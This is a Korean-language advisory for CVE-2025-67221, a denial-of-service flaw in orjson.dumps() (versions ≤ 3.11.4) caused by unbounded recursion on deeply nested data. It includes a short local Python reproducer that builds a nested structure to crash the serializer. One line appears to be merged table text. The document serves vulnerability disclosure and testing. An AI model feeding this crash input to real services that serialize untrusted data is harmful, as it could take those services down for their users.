
CVE-2025-67221에 대한 문서 및 재현 코드입니다. 깊이 중첩된 JSON 데이터를 직렬화할 때 제어되지 않은 재귀로 인해 orjson의 dumps() 함수에서 발생하는 서비스 거부(DoS) 취약점입니다.
| 필드 | 값 |
|---|
| CVE ID | CVE-2025-67221 |
| 영향받는 제품 | orjson |
| 영향받는 버전 | ≤ 3.11.4 |
| 취약점 유형 | 서비스 거부 (제어되지 않은 재귀) |
| 공격 벡터 | 원격 (공격자가 직렬화 데이터를 제어하는 경우) |
orjson 3.11.4 및 이전 버전의 orjson.dumps() 함수에 서비스 거부 취약점이 존재합니다. 이 함수는 깊이 중첩된 JSON 데이터 구조를 직렬화할 때 재귀 제한을 적용하지 않습니다. 공격자가 애플리케이션이 공격자가 제어하는 중첩 데이터를 직렬화하도록 유도할 수 있는 경우, 직렬화 루틴에서 크래시를 유발할 수 있습니다.
orjson.dumps()pysrc/orjson/__init__.pyi테스트 환경
orjson을 사용하여 신뢰할 수 없거나 공격자가 제어하는 데이터 구조를 직렬화하는 애플리케이션은 서비스 거부 공격에 취약할 수 있습니다.
로컬에서 취약점을 재현하는 코드:
import orjson
import sys
import platform
print(f'OS: {platform.platform()}')
print(f'Python version: {sys. version}')
print(f'orjson version: {orjson.__version__}')
nested = []
for i in range(100):
nested = [{"level": i, "next": nested}]
dumped = orjson.dumps(nested)
##데모
위 코드는 멋진 코어 덤프를 유발합니다.
